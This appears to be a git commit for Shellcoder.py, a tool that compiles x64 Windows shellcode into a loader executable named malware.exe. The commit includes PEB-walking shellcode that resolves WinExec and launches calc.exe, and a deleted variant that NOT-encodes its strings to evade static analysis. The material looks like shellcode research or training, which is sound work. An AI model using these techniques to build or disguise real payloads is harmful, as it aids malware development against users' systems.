Ready to go

This commit is contained in:
Print3M
2024-07-23 16:30:39 +02:00
parent 7a2b0359a9
commit 57803faad8
6 changed files with 94 additions and 154 deletions
+50 -11
View File
@@ -1,21 +1,60 @@
# Shellcoder.py
# Shellcoder.py 🐚⌨️
Write your shellcode in Assembly and execute it with one command!
Write your shellcode in Assembly (NASM) and compile it on Windows x64 with one command!
This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command!
This script helps automate the shellcode development and testing process. It takes your Assembly file with the payload (`shellcode.asm`) and generates a bunch of useful executable files (read below).
You don't have to repeat all these tedious activities anymore to make your shellcode executable! Keep your focus on shellcoding 🔥🐚🔥
## Installation
The following software must be installed on your system:
- [Python 3](https://www.python.org/downloads/)
- [NASM (Netwide Assembler)](https://www.nasm.us/)
- [Visual Studio 2022](https://visualstudio.microsoft.com/)
No Python dependencies are necessary! You are ready to go.
## Usage
Shellcoder script most probably should be used on Windows because of the MSVC requirement.
1. Write your shellcode in `shellcode.asm`
2. Run `python shellcoder.py`
3. Execute output `.exe` file in `out/` directory!
3. Execute `out/malware.exe` file!
> **IMPORTANT**: Indicate that you are using 64-bit mode at the beginning of the assembly file. Add `[bits 64]` to the `shellcode.asm`.
![shellcoder.py command line output](/_img/shellcoder-cli.png)
## External dependencies
## Output files
- Python 3
- NASM (Netwide Assembler)
- Visual Studio 2022
The output files of this script are stored in `out/` directory:
- `malware.c` - loader code with the injected payload as C string.
- `malware.exe` - compiled loader with the injected payload.
- `shellcode.exe` - executable file with the payload only. Great for debugging!
- `shellcode.bin` - raw machine code of the assembly payload.
![shellcoder.py output files](/_img/shellcoder-output.png)
## Caveats
- Indicate that you are using 64-bit mode at the beginning of the assembly file. Add `[bits 64]` to the `shellcode.asm`.
- Define entry point in assembly file (required for debugging):
```nasm
[bits 64]
section .text:
global _start
_start:
[...YOUR CODE HERE...]
```
- You cannot use sections other than `.text`. It's a shellcode!
- Remember about [Microsoft x64 Calling Convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170) (stack alignment + shadow space!)
## How to debug the payload?
The best way to debug your assembly code is to take `out/shellcode.exe` file and load it into your favorite debugger.
Finally you should run `out/malware.exe` to be sure that your payload works as intended after memory injection.
Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

+43 -44
View File
@@ -1,59 +1,59 @@
[bits 64]
;; TODO: DEBUG this shiiiit (x64dbg)
section .text:
global _start
global _start
_start:
; Access PEB structure
xor rbx, rbx
mov rbx, gs:[0x60] ; RBX = address of PEB struct
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
mov rbx, gs:[0x60] ; RBX = address of PEB struct
mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA
add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList
; Go down the double-link list of PEB_LDR_DATA
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll)
mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll)
mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll)
; Get VA address of kernel32.dll
mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
mov r8, rbx ; R8 = RBX (address of kernel32.dll)
mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
mov r8, rbx ; R8 = RBX (address of kernel32.dll)
; Get VA address of ExportTable (kernel32.dll)
mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders
mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders
xor rcx, rcx
add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA)
mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA
add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
mov r9, rbx ; R9 = &ExportTable
add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA)
mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA
add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
mov r9, rbx ; R9 = &ExportTable
; Get VA address of ExportTable.AddressOfFunctions
xor r10, r10
mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
; Get VA address of ExportTable.AddressOfNames
xor r11, r11
mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
; Get VA address of ExportTable.AddressOfNameOrdinals
xor r12, r12
mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
; Get address of WinExec function exported from kernel32.dll
xor rcx, rcx
add cl, 0x7 ; RCX = function name length ("WinExec" == 7)
add cl, 7 ; RCX = function name length ("WinExec" == 7)
xor rax, rax
push ax ; STACK + null terminator (2)
mov rax, 0x00636578456E6957 ; RAX = function name = "cexEniW" (WinExec) + 0x00
push rax ; STACK + null terminator (8)
mov rax, 0x00636578456E6957 ; RAX = function name = \0 + "cexEniW" (WinExec)
push rax ; STACK + function name address (8)
mov rsi, rsp ; RSI = &function_name
mov rbx, rsp ; RSI = &function_name
call get_winapi_func
mov r13, rax ; R13 = &WinExec
@@ -64,18 +64,20 @@ mov r13, rax ; R13 = &WinExec
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rax, rax
xor rcx, rcx
xor rdx, rdx
push ax ; STACK + null terminator (2)
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
push rax ; STACK + command string (8)
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
push rcx ; STACK + null terminator (8)
mov rcx, 0x6578652e636c6163 ; RCX = "exe.clac" (command string: calc.exe)
push rcx ; STACK + command string (8)
mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
; Why is here "sub rsp, 0x20" originally ???
call r13 ; Call WinExec(rax, rdx)
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
mov rdx, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL)
and rsp, -16 ; 16-byte Stack Alignment
sub rsp, 32 ; STACK + 32 bytes (shadow space)
call r13 ; WinExec("calc.exe", SW_SHOWNORMAL)
get_winapi_func:
; Requirements (preserved):
@@ -84,7 +86,7 @@ get_winapi_func:
; R11 = &AddressOfNames (ExportTable)
; R12 = &AddressOfNameOrdinals (ExportTable)
; Parameters (preserved):
; RSI = (char*) function_name
; RBX = (char*) function_name
; RCX = (int) length of function_name string
; Returns:
; RAX = &function
@@ -98,16 +100,13 @@ get_winapi_func:
; Loop through AddressOfNames array:
; array item = function name RVA (4 bytes)
loop:
mov rcx, [rsp] ; RCX = length of function_name string
xor rdi, rdi ; RDI = 0
mov rcx, [rsp] ; RCX = length of function_name string
mov rsi, rbx ; RSI = (char*) function_name
mov edi, [r11+rax*4] ; RDI = function name RVA
add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name)
; FIXME: Item NOT FOUND: RDI, RSI
; Something's wrong with stack placing of the function name string.
; Why is there "shr rax, 0x8" originally? WTF?
; R11 = correct
repe cmpsb ; Compare byte *RDI (array item str) and *RSI (param function name)
je resolve_func_addr ; Jump if exported function name == param function name
@@ -116,7 +115,7 @@ get_winapi_func:
resolve_func_addr:
pop rcx ; STACK - RCX (8) = remove length of function_name string
mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2)
mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4)
mov ax, [r12+rax*2] ; RAX = OrdinalNumber = &AddressOfNameOrdinals + (counter * 2)
mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (OrdinalNumber * 4)
add rax, r8 ; RAX = &function = function RVA + &kernel32.dll
ret
ret
-98
View File
@@ -1,98 +0,0 @@
[bits 64]
section .text:
global _start
_start:
xor rdi, rdi ; RDI = 0x0
mul rdi ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8 = &kernel32.dll
; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
add r10, r8 ; R10 = &AddressTable
; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
add r12, r8 ; R12 = &OrdinalTable
jmp short apis
; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the return address for ret 2 caller after API address is found
pop rcx ; Get the string length counter from stack
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter from the stack
xor rdi,rdi ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter from top of stack
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx ; place the return address from the api string call back on the top of the stack
ret ; return to API caller
apis: ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax ; R14 = Kernel32.WinExec Address
; UINT WinExec(
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax ; Null terminate string on stack
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
not rax
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
push rax ; RSP = "calc.exe",0x0
mov rcx, rsp ; RCX = "calc.exe",0x0
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec("calc.exe", SW_HIDE)
+1 -1
View File
@@ -50,7 +50,7 @@ def get_msvc_console_environs() -> dict[str, str]:
print(f"[!] MSVC Developer Console error: {process.stderr}")
sys.exit(-1)
envs = {}
envs: dict[str, str] = {}
for line in process.stdout.splitlines():
if '=' in line:
key, value = line.split('=', 1)